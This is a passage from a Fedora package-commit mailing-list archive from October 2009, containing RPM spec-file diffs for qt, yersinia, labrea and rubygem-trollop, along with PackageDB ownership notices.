-#define phonon_backend_packaged 1
+%define phonon_backend_packaged 1
+%endif
 %define phonon_version 4.3.1
 %define phonon_version_major 4.3
 %define phonon_release 100
@@ -939,6 +941,9 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.5.2-23
+- rhel cleanup
+
 * Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-22
 - if ! phonon_internal, exclude more/all phonon headers
 - qt-devel must Requires: phonon-devel (#520323)



From kkofler at fedoraproject.org  Sun Oct  4 07:28:19 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 07:28:19 +0000 (UTC)
Subject: rpms/yersinia/devel yersinia.spec,1.4,1.5
Message-ID: <20091004072819.EA5ED11C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/yersinia/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7335/devel

Modified Files:
	yersinia.spec 
Log Message:
* Sun Oct 04 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.7.1-6
- Rebuild again

(I doubt this will work, but we need the failure log to fix this and Koji already deleted the one from 0.7.1-5.)


Index: yersinia.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yersinia/devel/yersinia.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- yersinia.spec	24 Sep 2009 20:44:24 -0000	1.4
+++ yersinia.spec	4 Oct 2009 07:28:19 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           yersinia
 Version:        0.7.1
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        Network protocols tester and attacker
 
 Group:          Applications/Internet
@@ -66,8 +66,11 @@ rm -rf %{buildroot}
 
 
 %changelog
-* Thu Sep 24 2009 abian Affolter <fabian at bernewireless.net> - 0.7.1-5
-- Rebuild for new yersinia
+* Sun Oct 04 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.7.1-6
+- Rebuild again
+
+* Thu Sep 24 2009 Fabian Affolter <fabian at bernewireless.net> - 0.7.1-5
+- Rebuild for new libpcap
 
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.7.1-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From kkofler at fedoraproject.org  Sun Oct  4 07:19:29 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 07:19:29 +0000 (UTC)
Subject: rpms/labrea/devel labrea.spec,1.5,1.6
Message-ID: <20091004071929.2537011C0296@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/labrea/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4909/devel

Modified Files:
	labrea.spec 
Log Message:
Also fix the makefile not to expect syslog.h to be there.


Index: labrea.spec
===================================================================
RCS file: /cvs/pkgs/rpms/labrea/devel/labrea.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- labrea.spec	4 Oct 2009 07:12:37 -0000	1.5
+++ labrea.spec	4 Oct 2009 07:19:27 -0000	1.6
@@ -25,6 +25,8 @@ sed -i -e 's/-I- @DNETINC@ @PCAPINC@//g'
 sed -i -e 's/-I- @DNETINC@ @PCAPINC@//g' src/Makefile.in
 # remove this one because it gets picked over the system one
 rm -f inc/syslog.h
+sed -i -e 's/syslog.h//g' inc/Makefile.am
+sed -i -e 's/syslog.h//g' inc/Makefile.in
 
 
 %build



From kkofler at fedoraproject.org  Sun Oct  4 07:12:37 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 07:12:37 +0000 (UTC)
Subject: rpms/labrea/F-12 labrea.spec,1.4,1.5
Message-ID: <20091004071237.A7BFD11C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/labrea/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2492/F-12

Modified Files:
	labrea.spec 
Log Message:
Remove inc/syslog.h because it gets picked over the system one.


Index: labrea.spec
===================================================================
RCS file: /cvs/pkgs/rpms/labrea/F-12/labrea.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- labrea.spec	4 Oct 2009 06:55:07 -0000	1.4
+++ labrea.spec	4 Oct 2009 07:12:37 -0000	1.5
@@ -23,6 +23,8 @@ servers to detect and trap worms, hacker
 # -I- is no longer supported by GCC and -I /usr/include is just pointless
 sed -i -e 's/-I- @DNETINC@ @PCAPINC@//g' src/Makefile.am
 sed -i -e 's/-I- @DNETINC@ @PCAPINC@//g' src/Makefile.in
+# remove this one because it gets picked over the system one
+rm -f inc/syslog.h
 
 
 %build



From kkofler at fedoraproject.org  Sun Oct  4 07:28:19 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 07:28:19 +0000 (UTC)
Subject: rpms/yersinia/F-12 yersinia.spec,1.4,1.5
Message-ID: <20091004072819.EF07411C0296@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/yersinia/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7335/F-12

Modified Files:
	yersinia.spec 
Log Message:
* Sun Oct 04 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.7.1-6
- Rebuild again

(I doubt this will work, but we need the failure log to fix this and Koji already deleted the one from 0.7.1-5.)


Index: yersinia.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yersinia/F-12/yersinia.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- yersinia.spec	24 Sep 2009 20:44:24 -0000	1.4
+++ yersinia.spec	4 Oct 2009 07:28:18 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           yersinia
 Version:        0.7.1
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        Network protocols tester and attacker
 
 Group:          Applications/Internet
@@ -66,8 +66,11 @@ rm -rf %{buildroot}
 
 
 %changelog
-* Thu Sep 24 2009 abian Affolter <fabian at bernewireless.net> - 0.7.1-5
-- Rebuild for new yersinia
+* Sun Oct 04 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.7.1-6
+- Rebuild again
+
+* Thu Sep 24 2009 Fabian Affolter <fabian at bernewireless.net> - 0.7.1-5
+- Rebuild for new libpcap
 
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.7.1-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From kkofler at fedoraproject.org  Sun Oct  4 07:51:04 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 07:51:04 +0000 (UTC)
Subject: rpms/yersinia/F-12 yersinia.spec,1.5,1.6
Message-ID: <20091004075104.0E98311C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/yersinia/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13765/F-12

Modified Files:
	yersinia.spec 
Log Message:
* Sun Oct 04 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.7.1-6
- Add --with-pcap-includes to fix build with libpcap 1.0


Index: yersinia.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yersinia/F-12/yersinia.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- yersinia.spec	4 Oct 2009 07:28:18 -0000	1.5
+++ yersinia.spec	4 Oct 2009 07:51:03 -0000	1.6
@@ -40,7 +40,7 @@ implementing new ones):
 
 
 %build
-%configure
+%configure --with-pcap-includes=%{_includedir}/pcap
 make %{?_smp_mflags} CFLAGS="%{optflags}"
 
 %install
@@ -67,7 +67,7 @@ rm -rf %{buildroot}
 
 %changelog
 * Sun Oct 04 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.7.1-6
-- Rebuild again
+- Add --with-pcap-includes to fix build with libpcap 1.0
 
 * Thu Sep 24 2009 Fabian Affolter <fabian at bernewireless.net> - 0.7.1-5
 - Rebuild for new libpcap



From kkofler at fedoraproject.org  Sun Oct  4 07:51:04 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 07:51:04 +0000 (UTC)
Subject: rpms/yersinia/devel yersinia.spec,1.5,1.6
Message-ID: <20091004075104.4562911C0296@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/yersinia/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13765/devel

Modified Files:
	yersinia.spec 
Log Message:
* Sun Oct 04 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.7.1-6
- Add --with-pcap-includes to fix build with libpcap 1.0


Index: yersinia.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yersinia/devel/yersinia.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- yersinia.spec	4 Oct 2009 07:28:19 -0000	1.5
+++ yersinia.spec	4 Oct 2009 07:51:04 -0000	1.6
@@ -40,7 +40,7 @@ implementing new ones):
 
 
 %build
-%configure
+%configure --with-pcap-includes=%{_includedir}/pcap
 make %{?_smp_mflags} CFLAGS="%{optflags}"
 
 %install
@@ -67,7 +67,7 @@ rm -rf %{buildroot}
 
 %changelog
 * Sun Oct 04 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.7.1-6
-- Rebuild again
+- Add --with-pcap-includes to fix build with libpcap 1.0
 
 * Thu Sep 24 2009 Fabian Affolter <fabian at bernewireless.net> - 0.7.1-5
 - Rebuild for new libpcap



From pkgdb at fedoraproject.org  Sun Oct  4 08:12:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 08:12:11 +0000
Subject: [pkgdb] pyexiv2 ownership updated
Message-ID: <20091004081211.9A74710F892@bastion2.fedora.phx.redhat.com>

Package pyexiv2 in Fedora 9 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/pyexiv2



From pkgdb at fedoraproject.org  Sun Oct  4 08:12:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 08:12:15 +0000
Subject: [pkgdb] pyexiv2 ownership updated
Message-ID: <20091004081215.65A2F10F871@bastion2.fedora.phx.redhat.com>

Package pyexiv2 in Fedora 11 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/pyexiv2



From pkgdb at fedoraproject.org  Sun Oct  4 08:12:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 08:12:22 +0000
Subject: [pkgdb] pyexiv2 ownership updated
Message-ID: <20091004081222.8776210F871@bastion2.fedora.phx.redhat.com>

Package pyexiv2 in Fedora 10 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/pyexiv2



From pkgdb at fedoraproject.org  Sun Oct  4 08:16:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 08:16:06 +0000
Subject: [pkgdb] gajim: mcepl has requested watchbugzilla
Message-ID: <20091004081606.BA9C710F88E@bastion2.fedora.phx.redhat.com>

mcepl has requested the watchbugzilla acl on gajim (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gajim



From pkgdb at fedoraproject.org  Sun Oct  4 08:16:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 08:16:07 +0000
Subject: [pkgdb] gajim: mcepl has requested watchcommits
Message-ID: <20091004081607.24A8710F894@bastion2.fedora.phx.redhat.com>

mcepl has requested the watchcommits acl on gajim (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gajim



From hpejakle at fedoraproject.org  Sun Oct  4 08:26:41 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Sun,  4 Oct 2009 08:26:41 +0000 (UTC)
Subject: rpms/rubygem-trollop/F-10 import.log, NONE, 1.1 rubygem-trollop.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091004082641.77F9E11C00E5@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/rubygem-trollop/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25108/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-trollop.spec 
Log Message:
initial import


--- NEW FILE import.log ---
rubygem-trollop-1_15-1_fc11:F-10:rubygem-trollop-1.15-1.fc11.src.rpm:1254644787


--- NEW FILE rubygem-trollop.spec ---
%global	gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global	gemname trollop
%global	geminstdir %{gemdir}/gems/%{gemname}-%{version}

Summary:	A command-line option parsing library for ruby
Name:		rubygem-%{gemname}
Version:	1.15
Release:	1%{?dist}
Group:		Applications/Productivity
License:	GPLv2
URL:		http://trollop.rubyforge.org/
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires:	rubygems
Requires:	ruby(abi) = 1.8
BuildRequires:	rubygem(hoe)
BuildRequires:	rubygems
BuildArch:	noarch
Provides:	rubygem(%{gemname}) = %{version}
Source0:	http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem

%description
A command-line option parsing library for ruby. Trollop is designed to
provide the maximal amount of GNU-style argument processing in the minimum
number of lines of code (for you, the programmer).

%prep

%build

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
gem install --local --install-dir %{buildroot}%{gemdir} \
	--force --rdoc %{SOURCE0}

%check
cd %{buildroot}/%{geminstdir}
ruby -Ilib/ test/test_trollop.rb

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%dir %{geminstdir}
%{geminstdir}/lib
%{geminstdir}/test
%{geminstdir}/Rakefile
%doc %{geminstdir}/*.txt
%doc %{gemdir}/doc/%{gemname}-%{version}
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%changelog
* Sat Oct 3 2009 Jan Klepek <jan.klepek at hp.com> - 1.15-1
- update of trollop

* Thu Sep 24 2009 Jan Klepek <jan.klepek at hp.com> - 1.14-1
- directory ownership fix, license changed to GPLv2, redundant macro removed

* Sun Sep 20 2009 Jan Klepek <jan.klepek at hp.com> - 1.14-0
- Version update,

* Sat Jan 24 2009 Kyle McMartin <kyle at redhat.com> - 1.10.2-1
- Initial release of trollop.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-trollop/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:26:44 -0000	1.1
+++ .cvsignore	4 Oct 2009 08:26:40 -0000	1.2
@@ -0,0 +1 @@
+trollop-1.15.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-trollop/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:26:44 -0000	1.1
+++ sources	4 Oct 2009 08:26:41 -0000	1.2
@@ -0,0 +1 @@
+359347775ff3166eb13ec80363ad67a1  trollop-1.15.gem



From pkgdb at fedoraproject.org  Sun Oct  4 08:12:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 08:12:16 +0000
Subject: [pkgdb] pyexiv2 ownership updated
Message-ID: <20091004081216.ECE0010F8A1@bastion2.fedora.phx.redhat.com>

Package pyexiv2 in Fedora 12 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/pyexiv2



From pkgdb at fedoraproject.org  Sun Oct  4 08:12:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 08:12:12 +0000
Subject: [pkgdb] pyexiv2 ownership updated
Message-ID: <20091004081212.C9CA210F895@bastion2.fedora.phx.redhat.com>

Package pyexiv2 in Fedora 8 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/pyexiv2



From pkgdb at fedoraproject.org  Sun Oct  4 08:12:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 08:12:10 +0000
Subject: [pkgdb] pyexiv2 ownership updated
Message-ID: <20091004081210.8EB1110F88E@bastion2.fedora.phx.redhat.com>

Package pyexiv2 in Fedora devel was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/pyexiv2



From hpejakle at fedoraproject.org  Sun Oct  4 08:27:25 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Sun,  4 Oct 2009 08:27:25 +0000 (UTC)
Subject: rpms/rubygem-trollop/F-11 import.log, NONE, 1.1 rubygem-trollop.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091004082725.B2E0B11C00E5@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/rubygem-trollop/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25421/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-trollop.spec 
Log Message:
initial import


--- NEW FILE import.log ---
rubygem-trollop-1_15-1_fc11:F-11:rubygem-trollop-1.15-1.fc11.src.rpm:1254644828


--- NEW FILE rubygem-trollop.spec ---
%global	gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global	gemname trollop
%global	geminstdir %{gemdir}/gems/%{gemname}-%{version}

Summary:	A command-line option parsing library for ruby
Name:		rubygem-%{gemname}
Version:	1.15
Release:	1%{?dist}
Group:		Applications/Productivity
License:	GPLv2
URL:		http://trollop.rubyforge.org/
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires:	rubygems
Requires:	ruby(abi) = 1.8
BuildRequires:	rubygem(hoe)
BuildRequires:	rubygems
BuildArch:	noarch
Provides:	rubygem(%{gemname}) = %{version}
Source0:	http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem

%description
A command-line option parsing library for ruby. Trollop is designed to
provide the maximal amount of GNU-style argument processing in the minimum
number of lines of code (for you, the programmer).

%prep

%build

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
gem install --local --install-dir %{buildroot}%{gemdir} \
	--force --rdoc %{SOURCE0}

%check
cd %{buildroot}/%{geminstdir}
ruby -Ilib/ test/test_trollop.rb

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%dir %{geminstdir}
%{geminstdir}/lib
%{geminstdir}/test
%{geminstdir}/Rakefile
%doc %{geminstdir}/*.txt
%doc %{gemdir}/doc/%{gemname}-%{version}
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%changelog
* Sat Oct 3 2009 Jan Klepek <jan.klepek at hp.com> - 1.15-1
- update of trollop

* Thu Sep 24 2009 Jan Klepek <jan.klepek at hp.com> - 1.14-1
- directory ownership fix, license changed to GPLv2, redundant macro removed

* Sun Sep 20 2009 Jan Klepek <jan.klepek at hp.com> - 1.14-0
- Version update,

* Sat Jan 24 2009 Kyle McMartin <kyle at redhat.com> - 1.10.2-1
- Initial release of trollop.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-trollop/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:26:44 -0000	1.1
+++ .cvsignore	4 Oct 2009 08:27:25 -0000	1.2
@@ -0,0 +1 @@
+trollop-1.15.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-trollop/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:26:44 -0000	1.1
+++ sources	4 Oct 2009 08:27:25 -0000	1.2
@@ -0,0 +1 @@
+359347775ff3166eb13ec80363ad67a1  trollop-1.15.gem



From hpejakle at fedoraproject.org  Sun Oct  4 08:28:06 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Sun,  4 Oct 2009 08:28:06 +0000 (UTC)
Subject: rpms/rubygem-trollop/F-12 import.log, NONE, 1.1 rubygem-trollop.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091004082806.C3ED411C00E5@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/rubygem-trollop/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25717/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-trollop.spec 
Log Message:
initial import


--- NEW FILE import.log ---
rubygem-trollop-1_15-1_fc11:F-12:rubygem-trollop-1.15-1.fc11.src.rpm:1254644872


--- NEW FILE rubygem-trollop.spec ---
%global	gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global	gemname trollop
%global	geminstdir %{gemdir}/gems/%{gemname}-%{version}

Summary:	A command-line option parsing library for ruby
Name:		rubygem-%{gemname}
Version:	1.15
Release:	1%{?dist}
Group:		Applications/Productivity
License:	GPLv2
URL:		http://trollop.rubyforge.org/
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires:	rubygems
Requires:	ruby(abi) = 1.8
BuildRequires:	rubygem(hoe)
BuildRequires:	rubygems
BuildArch:	noarch
Provides:	rubygem(%{gemname}) = %{version}
Source0:	http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem

%description
A command-line option parsing library for ruby. Trollop is designed to
provide the maximal amount of GNU-style argument processing in the minimum
number of lines of code (for you, the programmer).

%prep

%build

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
gem install --local --install-dir %{buildroot}%{gemdir} \
	--force --rdoc %{SOURCE0}

%check
cd %{buildroot}/%{geminstdir}
ruby -Ilib/ test/test_trollop.rb

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%dir %{geminstdir}
%{geminstdir}/lib
%{geminstdir}/test
%{geminstdir}/Rakefile
%doc %{geminstdir}/*.txt
%doc %{gemdir}/doc/%{gemname}-%{version}
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%changelog
* Sat Oct 3 2009 Jan Klepek <jan.klepek at hp.com> - 1.15-1
- update of trollop

* Thu Sep 24 2009 Jan Klepek <jan.klepek at hp.com> - 1.14-1
- directory ownership fix, license changed to GPLv2, redundant macro removed

* Sun Sep 20 2009 Jan Klepek <jan.klepek at hp.com> - 1.14-0
- Version update,

* Sat Jan 24 2009 Kyle McMartin <kyle at redhat.com> - 1.10.2-1
- Initial release of trollop.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-trollop/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:26:44 -0000	1.1
+++ .cvsignore	4 Oct 2009 08:28:06 -0000	1.2
@@ -0,0 +1 @@
+trollop-1.15.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-trollop/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:26:44 -0000	1.1
+++ sources	4 Oct 2009 08:28:06 -0000	1.2
@@ -0,0 +1 @@
+359347775ff3166eb13ec80363ad67a1  trollop-1.15.gem



From hpejakle at fedoraproject.org  Sun Oct  4 08:26:01 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Sun,  4 Oct 2009 08:26:01 +0000 (UTC)
Subject: rpms/rubygem-trollop/EL-5 import.log, NONE, 1.1 rubygem-trollop.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091004082601.B84CD11C00E5@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/rubygem-trollop/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24827/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-trollop.spec 
Log Message:
initial import


--- NEW FILE import.log ---
rubygem-trollop-1_15-1_fc11:EL-5:rubygem-trollop-1.15-1.fc11.src.rpm:1254644746


--- NEW FILE rubygem-trollop.spec ---
%global	gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global	gemname trollop
%global	geminstdir %{gemdir}/gems/%{gemname}-%{version}

Summary:	A command-line option parsing library for ruby
Name:		rubygem-%{gemname}
Version:	1.15
Release:	1%{?dist}
Group:		Applications/Productivity
License:	GPLv2
URL:		http://trollop.rubyforge.org/
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires:	rubygems
Requires:	ruby(abi) = 1.8
BuildRequires:	rubygem(hoe)
BuildRequires:	rubygems
BuildArch:	noarch
Provides:	rubygem(%{gemname}) = %{version}
Source0:	http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem

%description
A command-line option parsing library for ruby. Trollop is designed to
provide the maximal amount of GNU-style argument processing in the minimum
number of lines of code (for you, the programmer).

%prep

%build

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
gem install --local --install-dir %{buildroot}%{gemdir} \
	--force --rdoc %{SOURCE0}

%check
cd %{buildroot}/%{geminstdir}
ruby -Ilib/ test/test_trollop.rb

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%dir %{geminstdir}
%{geminstdir}/lib
%{geminstdir}/test
%{geminstdir}/Rakefile
%doc %{geminstdir}/*.txt
%doc %{gemdir}/doc/%{gemname}-%{version}
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%changelog
* Sat Oct 3 2009 Jan Klepek <jan.klepek at hp.com> - 1.15-1
- update of trollop

* Thu Sep 24 2009 Jan Klepek <jan.klepek at hp.com> - 1.14-1
- directory ownership fix, license changed to GPLv2, redundant macro removed

* Sun Sep 20 2009 Jan Klepek <jan.klepek at hp.com> - 1.14-0
- Version update,

* Sat Jan 24 2009 Kyle McMartin <kyle at redhat.com> - 1.10.2-1
- Initial release of trollop.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-trollop/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:26:44 -0000	1.1
+++ .cvsignore	4 Oct 2009 08:26:01 -0000	1.2
@@ -0,0 +1 @@
+trollop-1.15.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-trollop/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:26:44 -0000	1.1
+++ sources	4 Oct 2009 08:26:01 -0000	1.2
@@ -0,0 +1 @@
+359347775ff3166eb13ec80363ad67a1  trollop-1.15.gem



From hpejakle at fedoraproject.org  Sun Oct  4 08:34:12 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Sun,  4 Oct 2009 08:34:12 +0000 (UTC)
Subject: rpms/rubygem-trollop/devel import.log, NONE,
	1.1 rubygem-trollop.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091004083412.7317C11C00E5@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/rubygem-trollop/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28833/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-trollop.spec 
Log Message:
initial import


--- NEW FILE import.log ---
rubygem-trollop-1_15-1_fc11:HEAD:rubygem-trollop-1.15-1.fc11.src.rpm:1254645097


--- NEW FILE rubygem-trollop.spec ---
%global	gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global	gemname trollop
%global	geminstdir %{gemdir}/gems/%{gemname}-%{version}

Summary:	A command-line option parsing library for ruby
Name:		rubygem-%{gemname}
Version:	1.15
Release:	1%{?dist}
Group:		Applications/Productivity
License:	GPLv2
URL:		http://trollop.rubyforge.org/
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires:	rubygems
Requires:	ruby(abi) = 1.8
BuildRequires:	rubygem(hoe)
BuildRequires:	rubygems
BuildArch:	noarch
Provides:	rubygem(%{gemname}) = %{version}
Source0:	http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem

%description
A command-line option parsing library for ruby. Trollop is designed to
provide the maximal amount of GNU-style argument processing in the minimum
number of lines of code (for you, the programmer).

%prep

%build

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
gem install --local --install-dir %{buildroot}%{gemdir} \
	--force --rdoc %{SOURCE0}

%check
cd %{buildroot}/%{geminstdir}
ruby -Ilib/ test/test_trollop.rb

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%dir %{geminstdir}
%{geminstdir}/lib
%{geminstdir}/test
%{geminstdir}/Rakefile
%doc %{geminstdir}/*.txt
%doc %{gemdir}/doc/%{gemname}-%{version}
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%changelog
* Sat Oct 3 2009 Jan Klepek <jan.klepek at hp.com> - 1.15-1
- update of trollop

* Thu Sep 24 2009 Jan Klepek <jan.klepek at hp.com> - 1.14-1
- directory ownership fix, license changed to GPLv2, redundant macro removed

